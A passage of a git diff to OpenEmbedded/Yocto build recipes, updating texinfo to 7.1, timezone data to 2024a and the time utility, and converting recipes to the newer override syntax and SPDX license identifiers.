oe_runmake 'TABLES=-DHOSTS_DENY=\"${sysconfdir}/hosts.deny\" -DHOSTS_ALLOW=\"${sysconfdir}/hosts.allow\"' \
@@ -133,4 +131,4 @@ do_install () {
touch ${D}${sysconfdir}/hosts.deny
}
-FILES_${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
+FILES:${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
index ec04bfe390..a942ac2991 100644
--- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
+++ b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
@@ -1,5 +1,6 @@
SUMMARY = "Fake version of the texinfo utility suite"
SECTION = "console/utils"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=d6bb62e73ca8b901d3f2e9d71542f4bb"
DEPENDS = ""
diff --git a/meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch b/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch
index ab6f1658aa..b43a115b23 100644
--- a/meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch
+++ b/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch
@@ -1,3 +1,9 @@
+From ee9d23373b488c4a499c561d71e6b6ba7ca1bd31 Mon Sep 17 00:00:00 2001
+From: Joshua Lock <josh@linux.intel.com>
+Date: Fri, 16 Sep 2011 15:35:48 -0700
+Subject: [PATCH 1/3] texinfo: several changes to build without zlib and
+ ncurses
+
We already DEPEND on the native texinfo being present before building so
there isn't any need to try and build the required native texinfo binaries
before cross-compiling. This simplifies the recipe somewhat!
@@ -5,12 +11,15 @@ before cross-compiling. This simplifies the recipe somewhat!
Upstream-Status: Inappropriate oe specific
Signed-off-by: Joshua Lock <josh@linux.intel.com>
+---
+ configure.ac | 24 +-----------------------
+ 1 file changed, 1 insertion(+), 23 deletions(-)
-Index: texinfo-4.13/configure.ac
-===================================================================
---- texinfo-4.13.orig/configure.ac
-+++ texinfo-4.13/configure.ac
-@@ -100,29 +100,7 @@ AC_CANONICAL_BUILD
+diff --git a/configure.ac b/configure.ac
+index 8094498..5b72fc1 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -247,29 +247,7 @@ AC_CANONICAL_BUILD
# $native_tools is also added to SUBDIRS in the main Makefile.am,
# so that make compiles the native tools first.
#
@@ -41,3 +50,6 @@ Index: texinfo-4.13/configure.ac
AC_SUBST(native_tools)
AM_CONDITIONAL(TOOLS_ONLY, [[test "x$tools_only" = x1]])
+--
+2.39.2
+
diff --git a/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch b/meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch
index 0d6bbafadd..f3b6827d58 100644
--- a/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch
+++ b/meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch
@@ -1,23 +1,22 @@
-From 63a803ead3656353329a801846a9a3beb7210c46 Mon Sep 17 00:00:00 2001
+From e02be81fa68ddc7f939abd99de4e42759a0d5d8c Mon Sep 17 00:00:00 2001
From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
Date: Tue, 29 Nov 2016 13:43:24 -0600
-Subject: [PATCH] dont-depend-on-help2man
+Subject: [PATCH 2/3] dont-depend-on-help2man
Upstream-Status: Inappropriate
Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-
---
doc/Makefile.am | 2 +-
man/Makefile.am | 12 ++++++------
2 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/doc/Makefile.am b/doc/Makefile.am
-index 732833e..041cb9b 100644
+index e9e6298..f1b9895 100644
--- a/doc/Makefile.am
+++ b/doc/Makefile.am
-@@ -37,7 +37,7 @@ refcard_files = refcard/Makefile refcard/txicmdcheck \
+@@ -63,7 +63,7 @@ refcard/txirefcard.pdf refcard/txirefcard-a4.pdf: refcard/txirefcard.tex
# Include our texinfo.tex, not Automake's.
EXTRA_DIST = epsf.tex texinfo.tex \
fdl.texi \
@@ -25,9 +24,9 @@ index 732833e..041cb9b 100644
+ $(TXI_XLATE) \
$(refcard_files) \
texinfo-tex-test.texi texinfo-tex-test.WIDOWs \
- texinfo-ja.tex short-sample-ja.texi
+ texinfo-ja.tex short-sample-ja.texi \
diff --git a/man/Makefile.am b/man/Makefile.am
-index d0cd72c..a19e52a 100644
+index f2c703f..61caeeb 100644
--- a/man/Makefile.am
+++ b/man/Makefile.am
@@ -11,27 +11,27 @@
@@ -64,3 +63,6 @@ index d0cd72c..a19e52a 100644
# Maintainers should be able to regenerate.
MAINTAINERCLEANFILES = $(man_MANS)
+--
+2.39.2
+
diff --git a/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch b/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch
new file mode 100644
index 0000000000..f99f8b87d5
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch
@@ -0,0 +1,28 @@
+From 33b85a3928895b812b37dc759c6de711802db45f Mon Sep 17 00:00:00 2001
+From: Saul Wold <sgw@linux.intel.com>
+Date: Mon, 29 Jul 2013 15:02:34 -0700
+Subject: [PATCH 3/3] texinfo: Update to 5.1
+
+Upstream-Status: Inappropriate [cross build specific]
+
+Signed-off-by: Saul Wold <sgw@linux.intel.com>
+---
+ info/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/info/Makefile.am b/info/Makefile.am
+index f57b341..a019aa7 100644
+--- a/info/Makefile.am
++++ b/info/Makefile.am
+@@ -77,7 +77,7 @@ cmd_sources = $(srcdir)/session.c $(srcdir)/echo-area.c $(srcdir)/infodoc.c \
+ # more than once.
+ funs.h: makedoc$(EXEEXT) $(cmd_sources)
+ rm -f $(generated_sources)
+- $(top_builddir)/$(native_tools)/info/makedoc $(cmd_sources)
++ makedoc $(cmd_sources)
+
+ # The following hack is necessary to hint make before the automatic
+ # dependencies are built.
+--
+2.39.2
+
diff --git a/meta/recipes-extended/texinfo/texinfo/link-zip.patch b/meta/recipes-extended/texinfo/texinfo/link-zip.patch
deleted file mode 100644
index 15c030c0c6..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/link-zip.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From c1002138033fcccb2d1abfc41f5c2e46c836f7a0 Mon Sep 17 00:00:00 2001
-From: Joshua Lock <josh@linux.intel.com>
-Date: Mon, 29 Jul 2013 15:02:34 -0700
-Subject: [PATCH] install-info uses symbols from zlib so must link against it.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joshua Lock <josh@linux.intel.com>
-
----
- install-info/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/install-info/Makefile.am b/install-info/Makefile.am
-index 9bcff71..68247f9 100644
---- a/install-info/Makefile.am
-+++ b/install-info/Makefile.am
-@@ -33,4 +33,4 @@ AM_CPPFLAGS = \
- -I$(top_srcdir)/gnulib/lib \
- -I$(top_builddir)/gnulib/lib \
- -DLOCALEDIR=\"$(localedir)\"
--LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL) $(LIBTHREAD)
-+LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL) $(LIBTHREAD) -lz
diff --git a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch b/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
deleted file mode 100644
index f72097e639..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
+++ /dev/null
@@ -1,254 +0,0 @@
-From 3d3b66cf398853c666e724c3dbcc37d53a2240d5 Mon Sep 17 00:00:00 2001
-From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-Date: Tue, 29 Nov 2016 12:27:17 -0600
-Subject: [PATCH] texinfo-4.12-zlib
-
-Upstream-Status: Pending
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-
----
- install-info/Makefile.in | 2 +-
- install-info/install-info.c | 79 ++++++++++++++++++++++---------------
- 2 files changed, 48 insertions(+), 33 deletions(-)
-
-diff --git a/install-info/Makefile.in b/install-info/Makefile.in
-index c924509..746df05 100644
---- a/install-info/Makefile.in
-+++ b/install-info/Makefile.in
-@@ -218,7 +218,7 @@ am__installdirs = "$(DESTDIR)$(bindir)" "$(DESTDIR)$(bindir)"
- PROGRAMS = $(bin_PROGRAMS)
- am_ginstall_info_OBJECTS = install-info.$(OBJEXT)
- ginstall_info_OBJECTS = $(am_ginstall_info_OBJECTS)
--ginstall_info_LDADD = $(LDADD)
-+ginstall_info_LDADD = $(LDADD) -lz
- am__DEPENDENCIES_1 =
- ginstall_info_DEPENDENCIES = $(top_builddir)/gnulib/lib/libgnu.a \
- $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_1)
-diff --git a/install-info/install-info.c b/install-info/install-info.c
-index 21f4fe3..a7aba82 100644
---- a/install-info/install-info.c
-+++ b/install-info/install-info.c
-@@ -19,6 +19,7 @@
- #include <getopt.h>
- #include <regex.h>
- #include <argz.h>
-+#include <zlib.h>
-
- #define TAB_WIDTH 8
-
-@@ -681,15 +682,15 @@ The first time you invoke Info you start off looking at this node.\n\
-
- Return either stdin reading the file, or a non-stdin pipe reading
- the output of the compression program. */
--FILE *
-+void *
- open_possibly_compressed_file (char *filename,
- void (*create_callback) (char *),
-- char **opened_filename, char **compression_program)
-+ char **opened_filename, char **compression_program, int *is_pipe)
- {
- char *local_opened_filename, *local_compression_program;
- int nread;
- char data[13];
-- FILE *f;
-+ gzFile *f;
-
- /* We let them pass NULL if they don't want this info, but it's easier
- to always determine it. */
-@@ -697,48 +698,48 @@ open_possibly_compressed_file (char *filename,
- opened_filename = &local_opened_filename;
-
- *opened_filename = filename;
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- {
- *opened_filename = concat (filename, ".gz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".xz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".bz2", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".lz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".lzma", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- #ifdef __MSDOS__
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".igz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".inz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- #endif /* __MSDOS__ */
- if (!f)
-@@ -754,7 +755,7 @@ open_possibly_compressed_file (char *filename,
- (*create_callback) (filename);
-
- /* And try opening it again. */
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- return 0;
- }
-@@ -764,26 +765,26 @@ open_possibly_compressed_file (char *filename,
-
- /* Read first few bytes of file rather than relying on the filename.
- If the file is shorter than this it can't be usable anyway. */
-- nread = fread (data, sizeof (data), 1, f);
-- if (nread != 1)
-+ nread = gzread (f, data, sizeof (data));
-+ if (nread != sizeof (data))
- {
-- if (nread == 0)
-+ if (nread >= 0)
- {
- /* Try to create the file if its empty. */
-- if (feof (f) && create_callback)
-+ if (gzeof(f) && create_callback)
- {
-- if (fclose (f) != 0)
-+ if (gzclose(f) != 0)
- return 0; /* unknown error closing file */
-
-- if (remove (filename) != 0)
-+ if (remove(filename) != 0)
- return 0; /* unknown error deleting file */
-
- (*create_callback) (filename);
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- return 0;
-- nread = fread (data, sizeof (data), 1, f);
-- if (nread == 0)
-+ nread = gzread(f, data, sizeof (data));
-+ if (nread >= 0)
- return 0;
- goto determine_file_type; /* success */
- }
-@@ -854,35 +855,40 @@ determine_file_type:
- *compression_program = NULL;
-
- /* Seek back over the magic bytes. */
-- if (fseek (f, 0, 0) < 0)
-+ if (gzseek (f, 0, SEEK_SET) == -1)
- return 0;
-
- if (*compression_program)
- { /* It's compressed, so open a pipe. */
-+ FILE *p;
- char *command = concat (*compression_program, " -d", "");
-
-- if (fclose (f) < 0)
-+ if (gzclose (f) < 0)
- return 0;
-- f = freopen (*opened_filename, FOPEN_RBIN, stdin);
-- if (!f)
-+ p = freopen (*opened_filename, FOPEN_RBIN, stdin);
-+ if (!p)
- return 0;
-- f = popen (command, "r");
-- if (!f)
-+ p = popen (command, "r");
-+ if (!p)
- {
- /* Used for error message in calling code. */
- *opened_filename = command;
- return 0;
- }
-+ else
-+ *is_pipe = 1;
-+ return p;
- }
- else
- {
--#if O_BINARY
-+#if 0 && O_BINARY
- /* Since this is a text file, and we opened it in binary mode,
- switch back to text mode. */
- f = freopen (*opened_filename, "r", f);
- if (! f)
- return 0;
- #endif
-+ *is_pipe = 0;
- }
-
- return f;
-@@ -901,7 +907,8 @@ readfile (char *filename, int *sizep,
- void (*create_callback) (char *), char **opened_filename,
- char **compression_program)
- {
-- FILE *f;
-+ void *f;
-+ int pipe_p;
- int filled = 0;
- int data_size = 8192;
- char *data = xmalloc (data_size);
-@@ -909,14 +916,20 @@ readfile (char *filename, int *sizep,
- /* If they passed the space for the file name to return, use it. */
- f = open_possibly_compressed_file (filename, create_callback,
- opened_filename,
-- compression_program);
-+ compression_program,
-+ &pipe_p);
-
- if (!f)
- return 0;
-
- for (;;)
- {
-- int nread = fread (data + filled, 1, data_size - filled, f);
-+ int nread;
-+
-+ if (pipe_p)
-+ nread = fread (data + filled, 1, data_size - filled, f);
-+ else
-+ nread = gzread (f, data + filled, data_size - filled);
- if (nread < 0)
- return 0;
- if (nread == 0)
-@@ -935,8 +948,10 @@ readfile (char *filename, int *sizep,
- /* We need to close the stream, since on some systems the pipe created
- by popen is simulated by a temporary file which only gets removed
- inside pclose. */
-- if (f != stdin)
-+ if (pipe_p)
- pclose (f);
-+ else
-+ gzclose (f);
-
- *sizep = filled;
- return data;
diff --git a/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch b/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch
deleted file mode 100644
index 5b7f32d9a9..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Inappropriate [cross build specific]
-
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Index: texinfo-5.1/info/Makefile.am
-===================================================================
---- texinfo-5.1.orig/info/Makefile.am
-+++ texinfo-5.1/info/Makefile.am
-@@ -76,7 +76,7 @@ cmd_sources = $(srcdir)/session.c $(srcd
- # more than once.
- funs.h: makedoc$(EXEEXT) $(cmd_sources)
- rm -f $(generated_sources)
-- $(top_builddir)/$(native_tools)/info/makedoc $(cmd_sources)
-+ makedoc $(cmd_sources)
-
- # The following hack is necessary to hint make before the automatic
- # dependencies are built.
diff --git a/meta/recipes-extended/texinfo/texinfo_6.7.bb b/meta/recipes-extended/texinfo/texinfo_7.1.bb
index d421b79a0b..65d8252fb9 100644
--- a/meta/recipes-extended/texinfo/texinfo_6.7.bb
+++ b/meta/recipes-extended/texinfo/texinfo_7.1.bb
@@ -4,10 +4,10 @@ online information and printed output from a single source file. The \
GNU Project uses the Texinfo file format for most of its documentation."
HOMEPAGE = "http://www.gnu.org/software/texinfo/"
SECTION = "console/utils"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-PROVIDES_append_class-native = " texinfo-replacement-native"
+PROVIDES:append:class-native = " texinfo-replacement-native"
def compress_pkg(d):
if bb.data.inherits_class('compress_doc', d):
@@ -20,24 +20,21 @@ def compress_pkg(d):
return "xz"
return ""
-RDEPENDS_info += "${@compress_pkg(d)}"
+RDEPENDS:info += "${@compress_pkg(d)}"
DEPENDS = "zlib ncurses texinfo-replacement-native"
-DEPENDS_class-native = "zlib-native ncurses-native"
+DEPENDS:class-native = "zlib-native ncurses-native"
-TARGET_PATCH = "file://use_host_makedoc.patch"
-TARGET_PATCH_class-native = ""
+TARGET_PATCH = "file://0003-texinfo-Update-to-5.1.patch"
+TARGET_PATCH:class-native = ""
SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \
- file://texinfo-4.12-zlib.patch \
- file://disable-native-tools.patch \
- file://link-zip.patch \
- file://dont-depend-on-help2man.patch \
+ file://0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch \
+ file://0002-dont-depend-on-help2man.patch \
${TARGET_PATCH} \
"
-SRC_URI[md5sum] = "f0c1782f68ef73738d74bd1e9e30793a"
-SRC_URI[sha256sum] = "a52d05076b90032cb2523673c50e53185938746482cf3ca0213e9b4b50ac2d3e"
+SRC_URI[sha256sum] = "dd5710b3a53ac002644677a06145748e260592a35be182dc830ebebb79c5d5a0"
tex_texinfo = "texmf/tex/texinfo"
@@ -46,39 +43,41 @@ inherit gettext autotools multilib_script
MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any"
EXTRA_AUTORECONF += "-I ${S}/gnulib/m4"
+CACHED_CONFIGUREVARS += "texinfo_cv_sys_iconv_converts_euc_cn=yes"
-do_configure_prepend () {
+do_configure:prepend () {
# autotools_do_configure updates po/Makefile.in.in, we also need
# update po_document.
cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
}
-do_compile_prepend() {
+do_compile:prepend() {
if [ -d tools ];then
oe_runmake -C tools/gnulib/lib
fi
}
-do_install_append() {
+do_install:append() {
mkdir -p ${D}${datadir}/${tex_texinfo}
install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo}
sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi
+ sed -i -e 's,${HOSTTOOLS_DIR},,' ${D}${bindir}/texindex
}
-do_install_append_class-native() {
+do_install:append:class-native() {
install -m 755 info/makedoc ${D}${bindir}
}
PACKAGES += "info info-doc"
-FILES_info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
-FILES_info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
+FILES:info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
+FILES:info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
${mandir}/man1/info.1* ${mandir}/man5/info.5* \
${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*"
-FILES_${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
-RDEPENDS_${PN} = "perl"
-FILES_${PN}-doc = "${infodir}/texinfo* \
+FILES:${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
+RDEPENDS:${PN} = "perl"
+FILES:${PN}-doc = "${infodir}/texi* \
${datadir}/${tex_texinfo} \
${mandir}/man1 ${mandir}/man5"
@@ -86,6 +85,6 @@ FILES_${PN}-doc = "${infodir}/texinfo* \
# but the code will test for it and if not found use Locale::gettext_pp instead.
# However, this causes a file dependency on perl(Locale::gettext_xs) to be
# generated, which must be satisfied.
-RPROVIDES_${PN} += "perl(Locale::gettext_xs)"
+RPROVIDES:${PN} += "perl(Locale::gettext_xs)"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch b/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch
new file mode 100644
index 0000000000..f6ea212667
--- /dev/null
+++ b/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch
@@ -0,0 +1,27 @@
+From c8deae54f92d636878097063b411af9fb5262ad3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 15 Aug 2022 07:24:24 -0700
+Subject: [PATCH] include string.h for memset()
+
+Fixes implicit function declaration warning e.g.
+
+resuse.c:103:3: error: call to undeclared library function 'memset' with type 'void *(void *, int, unsigned long)'
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-time/2022-08/msg00001.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/resuse.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/resuse.c b/src/resuse.c
+index cf5a08c..9d3d18a 100644
+--- a/src/resuse.c
++++ b/src/resuse.c
+@@ -22,6 +22,7 @@
+ */
+
+ #include "config.h"
++#include <string.h>
+ #include <sys/time.h>
+ #include <sys/wait.h>
+ #include <sys/resource.h>
diff --git a/meta/recipes-extended/time/time_1.9.bb b/meta/recipes-extended/time/time_1.9.bb
index e2b084caae..8364210e61 100644
--- a/meta/recipes-extended/time/time_1.9.bb
+++ b/meta/recipes-extended/time/time_1.9.bb
@@ -3,17 +3,19 @@ DESCRIPTION = "time measures many of the CPU resources, such as time and \
memory, that other programs use."
HOMEPAGE = "http://www.gnu.org/software/time/"
SECTION = "utils"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
inherit texinfo update-alternatives
-ALTERNATIVE_${PN} = "time"
+ALTERNATIVE:${PN} = "time"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
-SRC_URI = "${GNU_MIRROR}/time/time-${PV}.tar.gz"
+SRC_URI = "${GNU_MIRROR}/time/time-${PV}.tar.gz \
+ file://0001-include-string.h-for-memset.patch \
+ "
SRC_URI[md5sum] = "d2356e0fe1c0b85285d83c6b2ad51b5f"
SRC_URI[sha256sum] = "fbacf0c81e62429df3e33bda4cee38756604f18e01d977338e23306a3e3b521e"
diff --git a/meta/recipes-extended/timezone/timezone.inc b/meta/recipes-extended/timezone/timezone.inc
index 32723f3dec..4734adcc08 100644
--- a/meta/recipes-extended/timezone/timezone.inc
+++ b/meta/recipes-extended/timezone/timezone.inc
@@ -3,18 +3,18 @@ DESCRIPTION = "The Time Zone Database contains code and data that represent \
the history of local time for many representative locations around the globe."
HOMEPAGE = "http://www.iana.org/time-zones"
SECTION = "base"
-LICENSE = "PD & BSD & BSD-3-Clause"
+LICENSE = "PD & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba"
-PV = "2020a"
+PV = "2024a"
-SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode \
- http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata \
+SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode;subdir=tz \
+ http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata;subdir=tz \
"
+S = "${WORKDIR}/tz"
+
UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones"
-SRC_URI[tzcode.md5sum] = "f87c3477e85a5c4b00df0def6c6a0055"
-SRC_URI[tzcode.sha256sum] = "7d2af7120ee03df71fbca24031ccaf42404752e639196fe93c79a41b38a6d669"
-SRC_URI[tzdata.md5sum] = "96a985bb8eeab535fb8aa2132296763a"
-SRC_URI[tzdata.sha256sum] = "547161eca24d344e0b5f96aff6a76b454da295dc14ed4ca50c2355043fb899a2"
+SRC_URI[tzcode.sha256sum] = "80072894adff5a458f1d143e16e4ca1d8b2a122c9c5399da482cb68cba6a1ff8"
+SRC_URI[tzdata.sha256sum] = "0d0434459acbd2059a7a8da1f3304a84a86591f6ed69c6248fffa502b6edffe3"
diff --git a/meta/recipes-extended/timezone/tzcode-native.bb b/meta/recipes-extended/timezone/tzcode-native.bb
index e3582ba674..d0b23a9d80 100644
--- a/meta/recipes-extended/timezone/tzcode-native.bb
+++ b/meta/recipes-extended/timezone/tzcode-native.bb
@@ -1,10 +1,7 @@
require timezone.inc
-#
SUMMARY = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
-S = "${WORKDIR}"
-
inherit native
EXTRA_OEMAKE += "cc='${CC}'"
diff --git a/meta/recipes-extended/timezone/tzdata.bb b/meta/recipes-extended/timezone/tzdata.bb
index 1e2b440fb0..dd1960ffa7 100644
--- a/meta/recipes-extended/timezone/tzdata.bb
+++ b/meta/recipes-extended/timezone/tzdata.bb
@@ -4,203 +4,201 @@ DEPENDS = "tzcode-native"
inherit allarch
-RCONFLICTS_${PN} = "timezones timezone-africa timezone-america timezone-antarctica \
- timezone-arctic timezone-asia timezone-atlantic \
- timezone-australia timezone-europe timezone-indian \
- timezone-iso3166.tab timezone-pacific timezone-zone.tab"
-
-S = "${WORKDIR}"
-
DEFAULT_TIMEZONE ?= "Universal"
INSTALL_TIMEZONE_FILE ?= "1"
-TZONES= "africa antarctica asia australasia europe northamerica southamerica \
- factory etcetera backward systemv \
- "
-# pacificnew
-
-do_compile () {
- for zone in ${TZONES}; do \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo -L /dev/null \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/posix -L /dev/null \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/right -L ${S}/leapseconds \
- -y ${S}/yearistype.sh ${S}/${zone} ; \
- done
+TZONES = " \
+ africa antarctica asia australasia europe northamerica southamerica \
+ factory etcetera backward \
+"
+
+# "slim" is the default since 2020b
+# "fat" is needed by e.g. MariaDB's mysql_tzinfo_to_sql
+ZIC_FMT ?= "slim"
+
+do_configure[cleandirs] = "${B}"
+B = "${WORKDIR}/build"
+
+do_compile() {
+ for zone in ${TZONES}; do
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo -L /dev/null ${S}/${zone}
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo/posix -L /dev/null ${S}/${zone}
+ ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo/right -L ${S}/leapseconds ${S}/${zone}
+ done
}
-do_install () {
- install -d ${D}/$exec_prefix ${D}${datadir}/zoneinfo
- cp -pPR ${S}/$exec_prefix ${D}/
- # libc is removing zoneinfo files from package
- cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
- cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
-
- # Install default timezone
- if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
- install -d ${D}${sysconfdir}
- if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
- echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
- fi
- ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
- else
- bberror "DEFAULT_TIMEZONE is set to an invalid value."
- exit 1
- fi
-
- chown -R root:root ${D}
+do_install() {
+ install -d ${D}${datadir}/zoneinfo
+ cp -pPR ${B}/zoneinfo/* ${D}${datadir}/zoneinfo
+
+ # libc is removing zoneinfo files from package
+ cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/leapseconds" ${D}${datadir}/zoneinfo
+ cp -pP "${S}/leap-seconds.list" ${D}${datadir}/zoneinfo
+
+ # Install default timezone
+ if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
+ install -d ${D}${sysconfdir}
+ if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
+ echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
+ fi
+ ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
+ else
+ bberror "DEFAULT_TIMEZONE is set to an invalid value."
+ exit 1
+ fi
+
+ chown -R root:root ${D}
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN}() {
etc_lt="$D${sysconfdir}/localtime"
